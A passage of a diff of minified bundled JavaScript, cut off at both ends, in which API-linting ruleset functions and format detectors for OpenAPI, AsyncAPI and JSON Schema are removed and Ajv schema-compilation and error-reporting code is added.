this._parent) || void 0 === t10 ? void 0 : t10._prefixes) || void 0 === i9 ? void 0 : i9.has(e12)) || this._prefixes && !this._prefixes.has(e12)) + throw new Error(`CodeGen: prefix "${e12}" is not allowed in this scope`); + return this._names[e12] = { prefix: e12, index: 0 }; + } } - const h8 = (...e12) => { - if (0 === e12.length) - return "."; - const t10 = e12.map(s7), i9 = Object.assign({}, t10[0]); - for (let n9 = 1; n9 < t10.length; n9++) { - const r9 = t10[n9]; - if (r9.absolute) - throw new Error('Cannot join an absolute path "' + e12[n9] + '" in the middle of other paths.'); - for (const e13 of r9.path) - i9.path.push(e13); + t9.Scope = s7; + class a7 extends n8.Name { + constructor(e12, t10) { + super(t10), this.prefix = e12; + } + setValue(e12, { property: t10, itemIndex: i9 }) { + this.value = e12, this.scopePath = n8._`.${new n8.Name(t10)}[${i9}]`; } - return n8(p7(i9)); - }; - function y7(e12, t10) { - const i9 = p7(s7(t10)); - if (!i9.absolute) - return n8(i9); - const r9 = p7(s7(e12)); - if (i9.origin !== r9.origin) - return n8(i9); - if (!r9.absolute) - return n8(i9); - if (r9.drive !== i9.drive) - return n8(i9); - const o8 = Math.min(r9.path.length, i9.path.length); - for (let e13 = 0; e13 < o8 && r9.path[0] === i9.path[0]; e13++) - r9.path.shift(), i9.path.shift(); - return i9.path.unshift(...r9.path.fill("..")), n8({ origin: null, drive: null, absolute: false, protocol: null, path: i9.path }); } - function g7(...e12) { - if (0 === e12.length) - return "."; - const t10 = p7(s7(e12[e12.length - 1])); - return t10.absolute ? n8(t10) : h8(...e12); + t9.ValueScopeName = a7; + const p7 = n8._`\n`; + t9.ValueScope = class extends s7 { + constructor(e12) { + super(e12), this._values = {}, this._scope = e12.scope, this.opts = { ...e12, _n: e12.lines ? p7 : n8.nil }; + } + get() { + return this._scope; + } + name(e12) { + return new a7(e12, this._newName(e12)); + } + value(e12, t10) { + var i9; + if (void 0 === t10.ref) + throw new Error("CodeGen: ref must be passed in value"); + const n9 = this.toName(e12), { prefix: r9 } = n9, o8 = null !== (i9 = t10.key) && void 0 !== i9 ? i9 : t10.ref; + let s8 = this._values[r9]; + if (s8) { + const e13 = s8.get(o8); + if (e13) + return e13; + } else + s8 = this._values[r9] = /* @__PURE__ */ new Map(); + s8.set(o8, n9); + const a8 = this._scope[r9] || (this._scope[r9] = []), p8 = a8.length; + return a8[p8] = t10.ref, n9.setValue(t10, { property: r9, itemIndex: p8 }), n9; + } + getValue(e12, t10) { + const i9 = this._values[e12]; + if (i9) + return i9.get(t10); + } + scopeRefs(e12, t10 = this._values) { + return this._reduceValues(t10, (t11) => { + if (void 0 === t11.scopePath) + throw new Error(`CodeGen: name "${t11}" has no value`); + return n8._`${e12}${t11.scopePath}`; + }); + } + scopeCode(e12 = this._values, t10, i9) { + return this._reduceValues(e12, (e13) => { + if (void 0 === e13.value) + throw new Error(`CodeGen: name "${e13}" has no value`); + return e13.value.code; + }, t10, i9); + } + _reduceValues(e12, i9, s8 = {}, a8) { + let p8 = n8.nil; + for (const c7 in e12) { + const d7 = e12[c7]; + if (!d7) + continue; + const f8 = s8[c7] = s8[c7] || /* @__PURE__ */ new Map(); + d7.forEach((e13) => { + if (f8.has(e13)) + return; + f8.set(e13, o7.Started); + let s9 = i9(e13); + if (s9) { + const i10 = this.opts.es5 ? t9.varKinds.var : t9.varKinds.const; + p8 = n8._`${p8}${i10} ${e13} = ${s9};${this.opts._n}`; + } else { + if (!(s9 = null == a8 ? void 0 : a8(e13))) + throw new r8(e13); + p8 = n8._`${p8}${s9}${this.opts._n}`; + } + f8.set(e13, o7.Completed); + }); + } + return p8; + } + }; + }, 49409: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.extendErrors = t9.resetErrorsCount = t9.reportExtraError = t9.reportError = t9.keyword$DataError = t9.keywordError = void 0; + const n8 = i8(17898), r8 = i8(50458), o7 = i8(63036); + function s7(e12, t10) { + const i9 = e12.const("err", t10); + e12.if(n8._`${o7.default.vErrors} === null`, () => e12.assign(o7.default.vErrors, n8._`[${i9}]`), n8._`${o7.default.vErrors}.push(${i9})`), e12.code(n8._`${o7.default.errors}++`); } - const b8 = "/", v8 = (e12) => null !== s7(e12).drive, j6 = (e12) => s7(e12).path.filter(Boolean).join("/"); - function $5(e12) { - const [t10, i9, n9, ...r9] = e12.split("/"), o8 = r9.length ? `/${r9.join("/")}` : void 0; - let s8, a8; - return o8 && (s8 = r9.find((e13) => e13.includes("."))) && (a8 = c7(s8).ext), { shortcode: t10, orgSlug: i9, projectSlug: n9, uri: o8, file: s8, ext: a8 }; + function a7(e12, t10) { + const { gen: i9, validateName: r9, schemaEnv: o8 } = e12; + o8.$async ? i9.throw(n8._`new ${e12.ValidationError}(${t10})`) : (i9.assign(n8._`${r9}.errors`, t10), i9.return(false)); } - function x7({ shortcode: e12, orgSlug: t10, projectSlug: i9, uri: n9 = "" }) { - return [e12, t10, i9, n9.replace(/^\//, "")].filter(Boolean).join("/"); + t9.keywordError = { message: ({ keyword: e12 }) => n8.str`must pass "${e12}" keyword validation` }, t9.keyword$DataError = { message: ({ keyword: e12, schemaType: t10 }) => t10 ? n8.str`"${e12}" keyword must be ${t10} ($data)` : n8.str`"${e12}" keyword is invalid ($data)` }, t9.reportError = function(e12, i9 = t9.keywordError, r9, o8) { + const { it: p8 } = e12, { gen: d8, compositeRule: f9, allErrors: l7 } = p8, u7 = c7(e12, i9, r9); + (null != o8 ? o8 : f9 || l7) ? s7(d8, u7) : a7(p8, n8._`[${u7}]`); + }, t9.reportExtraError = function(e12, i9 = t9.keywordError, n9) { + const { it: r9 } = e12, { gen: p8, compositeRule: d8, allErrors: f9 } = r9; + s7(p8, c7(e12, i9, n9)), d8 || f9 || a7(r9, o7.default.vErrors); + }, t9.resetErrorsCount = function(e12, t10) { + e12.assign(o7.default.errors, t10), e12.if(n8._`${o7.default.vErrors} !== null`, () => e12.if(t10, () => e12.assign(n8._`${o7.default.vErrors}.length`, t10), () => e12.assign(o7.default.vErrors, null))); + }, t9.extendErrors = function({ gen: e12, keyword: t10, schemaValue: i9, data: r9, errsCount: s8, it: a8 }) { + if (void 0 === s8) + throw new Error("ajv implementation error"); + const p8 = e12.name("err"); + e12.forRange("i", s8, o7.default.errors, (s9) => { + e12.const(p8, n8._`${o7.default.vErrors}[${s9}]`), e12.if(n8._`${p8}.instancePath === undefined`, () => e12.assign(n8._`${p8}.instancePath`, (0, n8.strConcat)(o7.default.instancePath, a8.errorPath))), e12.assign(n8._`${p8}.schemaPath`, n8.str`${a8.errSchemaPath}/${t10}`), a8.opts.verbose && (e12.assign(n8._`${p8}.schema`, i9), e12.assign(n8._`${p8}.data`, r9)); + }); + }; + const p7 = { keyword: new n8.Name("keyword"), schemaPath: new n8.Name("schemaPath"), params: new n8.Name("params"), propertyName: new n8.Name("propertyName"), message: new n8.Name("message"), schema: new n8.Name("schema"), parentSchema: new n8.Name("parentSchema") }; + function c7(e12, t10, i9) { + const { createErrors: r9 } = e12.it; + return false === r9 ? n8._`{}` : function(e13, t11, i10 = {}) { + const { gen: r10, it: s8 } = e13, a8 = [d7(s8, i10), f8(e13, i10)]; + return function(e14, { params: t12, message: i11 }, r11) { + const { keyword: s9, data: a9, schemaValue: c8, it: d8 } = e14, { opts: f9, propertyName: l7, topSchemaRef: u7, schemaPath: m7 } = d8; + r11.push([p7.keyword, s9], [p7.params, "function" == typeof t12 ? t12(e14) : t12 || n8._`{}`]), f9.messages && r11.push([p7.message, "function" == typeof i11 ? i11(e14) : i11]), f9.verbose && r11.push([p7.schema, c8], [p7.parentSchema, n8._`${u7}${m7}`], [o7.default.data, a9]), l7 && r11.push([p7.propertyName, l7]); + }(e13, t11, a8), r10.object(...a8); + }(e12, t10, i9); } - }, 99999: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.aas2_6 = t9.aas2_5 = t9.aas2_4 = t9.aas2_3 = t9.aas2_2 = t9.aas2_1 = t9.aas2_0 = t9.asyncapi2 = t9.asyncApi2 = t9.aas2 = void 0; - const n8 = i8(46734), r8 = /^2\.(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)$/, o7 = /^2\.0(?:\.[0-9]*)?$/, s7 = /^2\.1(?:\.[0-9]*)?$/, a7 = /^2\.2(?:\.[0-9]*)?$/, p7 = /^2\.3(?:\.[0-9]*)?$/, c7 = /^2\.4(?:\.[0-9]*)?$/, d7 = /^2\.5(?:\.[0-9]*)?$/, f8 = /^2\.6(?:\.[0-9]*)?$/, l7 = (e12) => (0, n8.isPlainObject)(e12) && "asyncapi" in e12 && r8.test(String(e12.asyncapi)); - t9.aas2 = l7, t9.aas2.displayName = "AsyncAPI 2.x", t9.asyncApi2 = t9.aas2, t9.asyncapi2 = t9.aas2, t9.aas2_0 = (e12) => l7(e12) && o7.test(String(e12.asyncapi)), t9.aas2_0.displayName = "AsyncAPI 2.0.x", t9.aas2_1 = (e12) => l7(e12) && s7.test(String(e12.asyncapi)), t9.aas2_1.displayName = "AsyncAPI 2.1.x", t9.aas2_2 = (e12) => l7(e12) && a7.test(String(e12.asyncapi)), t9.aas2_2.displayName = "AsyncAPI 2.2.x", t9.aas2_3 = (e12) => l7(e12) && p7.test(String(e12.asyncapi)), t9.aas2_3.displayName = "AsyncAPI 2.3.x", t9.aas2_4 = (e12) => l7(e12) && c7.test(String(e12.asyncapi)), t9.aas2_4.displayName = "AsyncAPI 2.4.x", t9.aas2_5 = (e12) => l7(e12) && d7.test(String(e12.asyncapi)), t9.aas2_5.displayName = "AsyncAPI 2.5.x", t9.aas2_6 = (e12) => l7(e12) && f8.test(String(e12.asyncapi)), t9.aas2_6.displayName = "AsyncAPI 2.6.x"; - }, 67423: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(57494); - (0, n8.__exportStar)(i8(59171), t9), (0, n8.__exportStar)(i8(99999), t9), (0, n8.__exportStar)(i8(86202), t9); - }, 86202: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.detectDialect = t9.extractDraftVersion = t9.jsonSchemaDraft2020_12 = t9.jsonSchemaDraft2019_09 = t9.jsonSchemaDraft7 = t9.jsonSchemaDraft6 = t9.jsonSchemaDraft4 = t9.jsonSchemaLoose = t9.jsonSchema = void 0; - const n8 = i8(46734), r8 = ["array", "boolean", "integer", "null", "number", "object", "string"], o7 = ["allOf", "oneOf", "anyOf", "not", "if"], s7 = /^https?:\/\/json-schema.org\/(?:draft-0([467])|draft\/(20(?:19-09|20-12)))\/(?:hyper-)?schema#?$/, a7 = (e12) => function(e13) { - return (0, n8.isPlainObject)(e13) && "$schema" in e13 && "string" == typeof e13.$schema; - }(e12) && e12.$schema.includes("//json-schema.org/"); - function p7(e12, t10) { - const i9 = (t11) => a7(t11) && c7(t11.$schema) === e12; - return i9.displayName = t10, i9; + function d7({ errorPath: e12 }, { instancePath: t10 }) { + const i9 = t10 ? n8.str`${e12}${(0, r8.getErrorPath)(t10, r8.Type.Str)}` : e12; + return [o7.default.instancePath, (0, n8.strConcat)(o7.default.instancePath, i9)]; } - function c7(e12) { - var t10; - const i9 = s7.exec(e12); - return null !== i9 ? `draft${null !== (t10 = i9[1]) && void 0 !== t10 ? t10 : i9[2]}` : null; + function f8({ keyword: e12, it: { errSchemaPath: t10 } }, { schemaPath: i9, parentSchema: o8 }) { + let s8 = o8 ? t10 : n8.str`${t10}/${e12}`; + return i9 && (s8 = n8.str`${s8}${(0, r8.getErrorPath)(i9, r8.Type.Str)}`), [p7.schemaPath, s8]; } - t9.jsonSchema = a7, t9.jsonSchema.displayName = "JSON Schema", t9.jsonSchemaLoose = (e12) => (0, n8.isPlainObject)(e12) && (a7(e12) || ((e13) => "type" in e13 && ("string" == typeof e13.type ? r8.includes(e13.type) : Array.isArray(e13.type) && e13.type.every((e14) => r8.includes(e14))))(e12) || ((e13) => Array.isArray(e13.enum))(e12) || ((e13) => o7.some((t10) => t10 in e13 && "object" == typeof e13[t10] && null !== e13[t10]))(e12)), t9.jsonSchemaLoose.displayName = "JSON Schema (loose)", t9.jsonSchemaDraft4 = p7("draft4", "JSON Schema Draft 4"), t9.jsonSchemaDraft6 = p7("draft6", "JSON Schema Draft 6"), t9.jsonSchemaDraft7 = p7("draft7", "JSON Schema Draft 7"), t9.jsonSchemaDraft2019_09 = p7("draft2019-09", "JSON Schema Draft 2019-09"), t9.jsonSchemaDraft2020_12 = p7("draft2020-12", "JSON Schema Draft 2020-12"), t9.extractDraftVersion = c7, t9.detectDialect = function(e12) { - return a7(e12) ? c7(e12.$schema) : null; - }; - }, 59171: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.oas3_1 = t9.oas3_0 = t9.oas3 = t9.oas2 = void 0; - const n8 = i8(46734); - t9.oas2 = (e12) => (0, n8.isPlainObject)(e12) && "swagger" in e12 && 2 === parseInt(String(e12.swagger)), t9.oas2.displayName = "OpenAPI 2.0 (Swagger)"; - const r8 = (e12) => (0, n8.isPlainObject)(e12) && "openapi" in e12 && 3 === Number.parseInt(String(e12.openapi)); - t9.oas3 = r8, t9.oas3.displayName = "OpenAPI 3.x", t9.oas3_0 = (e12) => r8(e12) && /^3\.0(?:\.[0-9]*)?$/.test(String(e12.openapi)), t9.oas3_0.displayName = "OpenAPI 3.0.x", t9.oas3_1 = (e12) => r8(e12) && /^3\.1(?:\.[0-9]*)?$/.test(String(e12.openapi)), t9.oas3_1.displayName = "OpenAPI 3.1.x"; - }, 40456: (e11, t9, i8) => { + }, 49392: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(45250), r8 = i8(23859), o7 = i8(95955), s7 = i8(9251), a7 = (e12, t10) => "number" != typeof e12 && !Number.isNaN(Number(e12)) || "number" != typeof t10 && Number.isNaN(Number(t10)) ? "string" != typeof e12 || "string" != typeof t10 ? 0 : e12.localeCompare(t10) : Math.min(1, Math.max(-1, Number(e12) - Number(t10))); - function p7(e12) { - return "string" == typeof e12 || "number" == typeof e12; + Object.defineProperty(t9, "__esModule", { value: true }), t9.resolveSchema = t9.getCompilingSchema = t9.resolveRef = t9.compileSchema = t9.SchemaEnv = void 0; + const n8 = i8(17898), r8 = i8(95031), o7 = i8(63036), s7 = i8(14856), a7 = i8(50458), p7 = i8(96223); + class c7 { + constructor(e12) { + var t10; + let i9; + this.refs = {}, this.dynamicAnchors = {}, "object" == typeof e12.schema && (i9 = e12.schema), this.schema = e12.schema, this.schemaId = e12.schemaId, this.root = e12.root || this, this.baseId = null !== (t10 = e12.baseId) && void 0 !== t10 ? t10 : (0, s7.normalizeId)(null == i9 ? void 0 : i9[e12.schemaId || "$id"]), this.schemaPath = e12.schemaPath, this.localRefs = e12.localRefs, this.meta = e12.meta, this.$async = null == i9 ? void 0 : i9.$async, this.refs = {}; + } } - t9.default = (0, r8.createRulesetFunction)({ input: { type: ["object", "array"] }, options: s7.optionSchemas.alphabetical }, function(e12, t10, { path: i9, documentInventory: r9 }) { - var s8, c7; - let d7; - if (d7 = Array.isArray(e12) ? e12 : Object.keys(null !== (c7 = null === (s8 = r9.findAssociatedItemForPath(i9, true)) || void 0 === s8 ? void 0 : s8.document.trapAccess(e12)) && void 0 !== c7 ? c7 : e12), d7.length < 2) - return; - const f8 = null == t10 ? void 0 : t10.keyedBy; - if (void 0 !== f8) { - const e13 = []; - for (const t11 of d7) { - if (!(0, n8.isObject)(t11)) - return [{ message: '#{{print("property")}}must be an object' }]; - e13.push(t11[f8]); + function d7(e12) { + const t10 = l7.call(this, e12); + if (t10) + return t10; + const i9 = (0, s7.getFullPath)(this.opts.uriResolver, e12.root.baseId), { es5: a8, lines: c8 } = this.opts.code, { ownProperties: d8 } = this.opts, f9 = new n8.CodeGen(this.scope, { es5: a8, lines: c8, ownProperties: d8 }); + let u8; + e12.$async && (u8 = f9.scopeValue("Error", { ref: r8.default, code: n8._`require("ajv/dist/runtime/validation_error").default` })); + const m8 = f9.scopeName("validate"); + e12.validateName = m8; + const h9 = { gen: f9, allErrors: this.opts.allErrors, data: o7.default.data, parentData: o7.default.parentData, parentDataProperty: o7.default.parentDataProperty, dataNames: [o7.default.data], dataPathArr: [n8.nil], dataLevel: 0, dataTypes: [], definedProperties: /* @__PURE__ */ new Set(), topSchemaRef: f9.scopeValue("schema", true === this.opts.code.source ? { ref: e12.schema, code: (0, n8.stringify)(e12.schema) } : { ref: e12.schema }), validateName: m8, ValidationError: u8, schema: e12.schema, schemaEnv: e12, rootId: i9, baseId: e12.baseId || i9, schemaPath: n8.nil, errSchemaPath: e12.schemaPath || (this.opts.jtd ? "" : "#"), errorPath: n8._`""`, opts: this.opts, self: this }; + let y8; + try { + this._compilations.add(e12), (0, p7.validateFunctionCode)(h9), f9.optimize(this.opts.code.optimize); + const t11 = f9.toString(); + y8 = `${f9.scopeRefs(o7.default.scope)}return ${t11}`, this.opts.code.process && (y8 = this.opts.code.process(y8, e12)); + const i10 = new Function(`${o7.default.self}`, `${o7.default.scope}`, y8)(this, this.scope.get()); + if (this.scope.value(m8, { ref: i10 }), i10.errors = null, i10.schema = e12.schema, i10.schemaEnv = e12, e12.$async && (i10.$async = true), true === this.opts.code.source && (i10.source = { validateName: m8, validateCode: t11, scopeValues: f9._values }), this.opts.unevaluated) { + const { props: e13, items: t12 } = h9; + i10.evaluated = { props: e13 instanceof n8.Name ? void 0 : e13, items: t12 instanceof n8.Name ? void 0 : t12, dynamicProps: e13 instanceof n8.Name, dynamicItems: t12 instanceof n8.Name }, i10.source && (i10.source.evaluated = (0, n8.stringify)(i10.evaluated)); } - d7 = e13; + return e12.validate = i10, e12; + } catch (t11) { + throw delete e12.validate, delete e12.validateName, y8 && this.logger.error("Error compiling schema, function code:", y8), t11; + } finally { + this._compilations.delete(e12); } - if (!d7.every(p7)) - return [{ message: '#{{print("property")}}must be one of the allowed types: number, string' }]; - const l7 = ((e13, t11) => { - for (let i10 = 0; i10 < e13.length - 1; i10 += 1) - if (t11(e13[i10], e13[i10 + 1]) >= 1) - return [i10, i10 + 1]; - return null; - })(d7, a7); - return null != l7 ? [{ ...void 0 === f8 ? { path: [...i9, Array.isArray(e12) ? l7[0] : d7[l7[0]]] } : null, message: void 0 !== f8 ? "properties must follow the alphabetical order" : `${(0, o7.printValue)(d7[l7[0]])} must be placed after ${(0, o7.printValue)(d7[l7[1]])}` }] : void 0; - }); - }, 97685: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.CasingType = void 0; - const n8 = i8(45250), r8 = i8(23859), o7 = i8(9251), s7 = i8(92805); - Object.defineProperty(t9, "CasingType", { enumerable: true, get: function() { - return s7.CasingType; - } }); - const a7 = { [s7.CasingType.flat]: "[a-z][a-z{__DIGITS__}]*", [s7.CasingType.camel]: "[a-z][a-z{__DIGITS__}]*(?:[A-Z{__DIGITS__}](?:[a-z{__DIGITS__}]+|$))*", [s7.CasingType.pascal]: "[A-Z][a-z{__DIGITS__}]*(?:[A-Z{__DIGITS__}](?:[a-z{__DIGITS__}]+|$))*", [s7.CasingType.kebab]: "[a-z][a-z{__DIGITS__}]*(?:-[a-z{__DIGITS__}]+)*", [s7.CasingType.cobol]: "[A-Z][A-Z{__DIGITS__}]*(?:-[A-Z{__DIGITS__}]+)*", [s7.CasingType.snake]: "[a-z][a-z{__DIGITS__}]*(?:_[a-z{__DIGITS__}]+)*", [s7.CasingType.macro]: "[A-Z][A-Z{__DIGITS__}]*(?:_[A-Z{__DIGITS__}]+)*" }; - t9.default = (0, r8.createRulesetFunction)({ input: { type: "string", minLength: 1 }, options: o7.optionSchemas.casing }, function(e12, t10) { - if (1 !== e12.length || void 0 === t10.separator || true !== t10.separator.allowLeading || e12 !== t10.separator.char) - return p7(a7[t10.type], t10).test(e12) ? void 0 : [{ message: `must be ${t10.type} case` }]; - }); - const p7 = (e12, t10) => { - const i9 = true !== t10.disallowDigits, r9 = e12.replace(/\{__DIGITS__\}/g, i9 ? "0-9" : ""); - if (void 0 === t10.separator) - return new RegExp(`^${r9}$`); - const o8 = `[${(0, n8.escapeRegExp)(t10.separator.char)}]`, s8 = true === t10.separator.allowLeading ? `${o8}?` : ""; - return new RegExp(`^${s8}${r9}(?:${o8}${r9})*$`); - }; - }, 31181: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(9251); - t9.default = (0, n8.createRulesetFunction)({ input: null, options: r8.optionSchemas.defined }, function(e12) { - if (void 0 === e12) - return [{ message: '#{{print("property")}}must be defined' }]; - }); - }, 18315: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(95955), o7 = i8(9251); - t9.default = (0, n8.createRulesetFunction)({ input: { type: ["string", "number", "null", "boolean"] }, options: o7.optionSchemas.enumeration }, function(e12, { values: t10 }) { - if (!t10.includes(e12)) - return [{ message: `#{{print("value")}} must be equal to one of the allowed values: ${t10.map(r8.printValue).join(", ")}` }]; - }); - }, 53547: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(9251); - t9.default = (0, n8.createRulesetFunction)({ input: null, options: r8.optionSchemas.falsy }, function(e12) { - if (e12) - return [{ message: '#{{print("property")}}must be falsy' }]; - }); - }, 69248: (e11, t9, i8) => { - "use strict"; - t9.fK = t9.vN = t9.wQ = t9.T1 = void 0; - const n8 = i8(69371), r8 = ((0, n8.__importDefault)(i8(40456)), (0, n8.__importDefault)(i8(97685)), (0, n8.__importDefault)(i8(31181)), (0, n8.__importDefault)(i8(18315)), (0, n8.__importDefault)(i8(53547)), (0, n8.__importDefault)(i8(54782)), (0, n8.__importDefault)(i8(41146))); - Object.defineProperty(t9, "T1", { enumerable: true, get: function() { - return r8.default; - } }); - const o7 = (0, n8.__importDefault)(i8(95818)); - Object.defineProperty(t9, "wQ", { enumerable: true, get: function() { - return o7.default; - } }); - const s7 = (0, n8.__importDefault)(i8(11214)); - Object.defineProperty(t9, "vN", { enumerable: true, get: function() { - return s7.default; - } }); - (0, n8.__importDefault)(i8(60928)); - const a7 = (0, n8.__importDefault)(i8(67884)); - Object.defineProperty(t9, "fK", { enumerable: true, get: function() { - return a7.default; - } }); - (0, n8.__importDefault)(i8(6073)); - }, 54782: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(95955), o7 = i8(46734), s7 = i8(9251); - t9.default = (0, n8.createRulesetFunction)({ input: { type: ["array", "object", "string", "number"] }, options: s7.optionSchemas.length }, function(e12, t10) { - let i9, n9; - return i9 = (0, o7.isPlainObject)(e12) ? Object.keys(e12).length : Array.isArray(e12) ? e12.length : "number" == typeof e12 ? e12 : e12.length, "min" in t10 && i9 < t10.min && (n9 = [{ message: `#{{print("property")}}must be longer than ${(0, r8.printValue)(t10.min)}` }]), "max" in t10 && i9 > t10.max && (null != n9 ? n9 : n9 = []).push({ message: `#{{print("property")}}must be shorter than ${(0, r8.printValue)(t10.max)}` }), n9; - }); - }, 9251: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.optionSchemas = void 0; - const n8 = i8(92805); - t9.optionSchemas = { alphabetical: { type: ["object", "null"], properties: { keyedBy: { type: "string", description: "The key to sort an object by." } }, additionalProperties: false, errorMessage: { type: '"alphabetical" function has invalid options specified. Example valid options: null (no options), { "keyedBy": "my-key" }' } }, casing: { required: ["type"], type: "object", properties: { type: { type: "string", enum: Object.values(n8.CasingType), errorMessage: `"casing" function and its "type" option accept the following values: ${Object.values(n8.CasingType).join(", ")}`, description: "The casing type to match against." }, disallowDigits: { type: "boolean", default: false, description: "If not true, digits are allowed." }, separator: { type: "object", required: ["char"], additionalProperties: false, properties: { char: { type: "string", maxLength: 1, errorMessage: '"casing" function and its "separator.char" option accepts only char, i.e. "I" or "/"', description: "The additional char to separate groups of words." }, allowLeading: { type: "boolean", description: "Can the group separator char be used at the first char?" } } } }, additionalProperties: false, errorMessage: { type: '"casing" function has invalid options specified. Example valid options: { "type": "camel" }, { "type": "pascal", "disallowDigits": true }' } }, defined: null, enumeration: { type: "object", additionalProperties: false, properties: { values: { type: "array", items: { type: ["string", "number", "null", "boolean"] }, errorMessage: '"enumeration" and its "values" option support only arrays of primitive values, i.e. ["Berlin", "London", "Paris"]', description: "An array of possible values." } }, required: ["values"], errorMessage: { type: '"enumeration" function has invalid options specified. Example valid options: { "values": ["Berlin", "London", "Paris"] }, { "values": [2, 3, 5, 8, 13, 21] }' } }, falsy: null, length: { type: "object", properties: { min: { type: "number", description: "The minimum length to match." }, max: { type: "number", description: "The maximum length to match." } }, minProperties: 1, additionalProperties: false, errorMessage: { type: '"length" function has invalid options specified. Example valid options: { "min": 2 }, { "max": 5 }, { "min": 0, "max": 10 }' } }, pattern: { type: "object", additionalProperties: false, properties: { match: { anyOf: [{ type: "string" }, { type: "object", properties: { exec: {}, test: {}, flags: { type: "string" } }, required: ["test", "flags"], "x-internal": true }], errorMessage: '"pattern" function and its "match" option must be string or RegExp instance', description: "If provided, value must match this regex." }, notMatch: { anyOf: [{ type: "string" }, { type: "object", properties: { exec: {}, test: {}, flags: { type: "string" } }, required: ["test", "flags"], "x-internal": true }], errorMessage: '"pattern" function and its "notMatch" option must be string or RegExp instance', description: "If provided, value must _not_ match this regex." } }, minProperties: 1, errorMessage: { type: '"pattern" function has invalid options specified. Example valid options: { "match": "^Stoplight" }, { "notMatch": "Swagger" }, { "match": "Stoplight", "notMatch": "Swagger" }', minProperties: '"pattern" function has invalid options specified. Example valid options: { "match": "^Stoplight" }, { "notMatch": "Swagger" }, { "match": "Stoplight", "notMatch": "Swagger" }' } }, truthy: null, undefined: null, schema: { additionalProperties: false, properties: { schema: { type: "object", description: "Any valid JSON Schema document." }, dialect: { enum: ["auto", "draft4", "draft6", "draft7", "draft2019-09", "draft2020-12"], default: "auto", description: "The JSON Schema draft used by function." }, allErrors: { type: "boolean", default: false, description: "Returns all errors when true; otherwise only returns the first error." }, prepareResults: { "x-internal": true } }, required: ["schema"], type: "object", errorMessage: { type: '"schema" function has invalid options specified. Example valid options: { "schema": { /* any JSON Schema can be defined here */ } , { "schema": { "type": "object" }, "dialect": "auto" }' } }, unreferencedReusableObject: { type: "object", properties: { reusableObjectsLocation: { type: "string", format: "json-pointer-uri-fragment", errorMessage: '"unreferencedReusableObject" and its "reusableObjectsLocation" option support only valid JSON Pointer fragments, i.e. "#", "#/foo", "#/paths/~1user"', description: "A local json pointer to the document member holding the reusable objects (eg. #/definitions for an OAS2 document, #/components/schemas for an OAS3 document)." } }, additionalProperties: false, required: ["reusableObjectsLocation"], errorMessage: { type: '"unreferencedReusableObject" function has invalid options specified. Example valid options: { "reusableObjectsLocation": "#/components/schemas" }, { "reusableObjectsLocation": "#/$defs" }', required: '"unreferencedReusableObject" function is missing "reusableObjectsLocation" option. Example valid options: { "reusableObjectsLocation": "#/components/schemas" }, { "reusableObjectsLocation": "#/$defs" }' } }, xor: { type: "object", properties: { properties: { type: "array", items: { type: "string" }, minItems: 2, errorMessage: '"xor" and its "properties" option require at least 2-item tuples, i.e. ["id", "name"]', description: "The properties to check." } }, additionalProperties: false, required: ["properties"], errorMessage: { type: '"xor" function has invalid options specified. Example valid options: { "properties": ["id", "name"] }, { "properties": ["country", "street"] }' } } }; - }, 41146: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(95955), o7 = i8(9251), s7 = /^\/(.+)\/([a-z]*)$/, a7 = /* @__PURE__ */ new Map(); - function p7(e12) { - const t10 = a7.get(e12); - if (void 0 !== t10) - return t10.lastIndex = 0, t10; - const i9 = function(e13) { - const t11 = s7.exec(e13); - return null !== t11 ? new RegExp(t11[1], t11[2]) : new RegExp(e13); - }(e12); - return a7.set(e12, i9), i9; } - t9.default = (0, n8.createRulesetFunction)({ input: { type: "string" }, options: o7.optionSchemas.pattern }, function(e12, t10) { + function f8(e12) { + return (0, s7.inlineRef)(e12.schema, this.opts.inlineRefs) ? e12.schema : e12.validate ? e12 : d7.call(this, e12); + } + function l7(e12) { + for (const n9 of this._compilations) + if (i9 = e12, (t10 = n9).schema === i9.schema && t10.root === i9.root && t10.baseId === i9.baseId) + return n9; + var t10, i9; + } + function u7(e12, t10) { let i9; - return "match" in t10 && (p7(t10.match).test(e12) || (i9 = [{ message: `#{{print("value")}} must match the pattern ${(0, r8.printValue)(t10.match)}` }])), "notMatch" in t10 && p7(t10.notMatch).test(e12) && (null != i9 ? i9 : i9 = []).push({ message: `#{{print("value")}} must not match the pattern ${(0, r8.printValue)(t10.notMatch)}` }), i9; - }); - }, 79097: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.createAjvInstances = void 0; - const n8 = i8(69371), r8 = (0, n8.__importDefault)(i8(11601)), o7 = (0, n8.__importDefault)(i8(88856)), s7 = (0, n8.__importDefault)(i8(88728)), a7 = (0, n8.__importDefault)(i8(33467)), p7 = (0, n8.__importDefault)(i8(74421)), c7 = (0, n8.__importDefault)(i8(67156)), d7 = (0, n8.__importStar)(i8(26443)), f8 = (0, n8.__importStar)(i8(33978)), l7 = { warn(...e12) { - const t10 = e12[0]; - if ("string" == typeof t10) { - if (t10.startsWith("unknown format")) + for (; "string" == typeof (i9 = this.refs[t10]); ) + t10 = i9; + return i9 || this.schemas[t10] || m7.call(this, e12, t10); + } + function m7(e12, t10) { + const i9 = this.opts.uriResolver.parse(t10), n9 = (0, 